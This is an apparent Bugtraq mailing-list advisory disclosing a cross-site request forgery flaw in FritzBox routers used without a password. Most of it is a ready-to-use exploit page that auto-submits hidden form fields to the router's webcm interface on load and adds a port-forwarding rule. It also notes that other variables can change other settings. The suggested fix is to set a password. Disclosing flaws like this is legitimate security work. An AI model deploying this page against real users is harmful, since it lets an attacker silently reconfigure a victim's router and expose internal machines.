FtitzBox

From: biglowbird@googlemail.com
To: bugtraq@securityfocus.com
Cc:
Subject: FtitzBox
Date:


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# Exploitation: Remote with browser
# Exploit: Available
# Impact: Medium
# Fix: N/A
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- Description:
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Via XSRF change settings in FritzBox.


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- Vulnerability:
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XSRF vulnerability, when you use the FritzBox without passwort login


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- example Exploit for Portforwarding:
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<html>
<body onLoad="javascript:document.form.submit()">
<form action="http://www.fritz.box/cgi-bin/webcm" method="POST" name="form">
<input type="hidden" value="getpage" value="../html/de/menus/menu2.html">
<input type="hidden" name="errorpage" value="../html/de/menus/menu2.html">
<input type="hidden" name="var:lang" value="de">
<input type="hidden" name="var:pagename" value="portfw">
<input type="hidden" name="var:errorpagename" value="portrule">
<input type="hidden" name="var:menu" value="internet">
<input type="hidden" name="var:pagemaster" value="">
<input type="hidden" name="var:rule" value="rule3">
<input type="hidden" name="var:isnew" value="1">
<input type="hidden" name="var:isexp" value="0">
<input type="hidden" name="forwardrules:settings/rule3/activated" value="1">
<input type="hidden" name="forwardrules:settings/rule3/description" value="HTTP-Server">
<input type="hidden" name="forwardrules:settings/rule3/protocol" value="TCP">
<input type="hidden" name="forwardrules:settings/rule3/port" value="80">
<input type="hidden" name="forwardrules:settings/rule3/endport" value="80">
<input type="hidden" name="forwardrules:settings/rule3/fwip" value="192.168.178.24">
<input type="hidden" name="forwardrules:settings/rule3/fwport" value="80">
</form>
</body>
</html>

(this is only a example code for portforwarding for other things they are other variables!!!)

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- Solution:
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Use FritzBox only with passwort



thx to skskilL & NBBN





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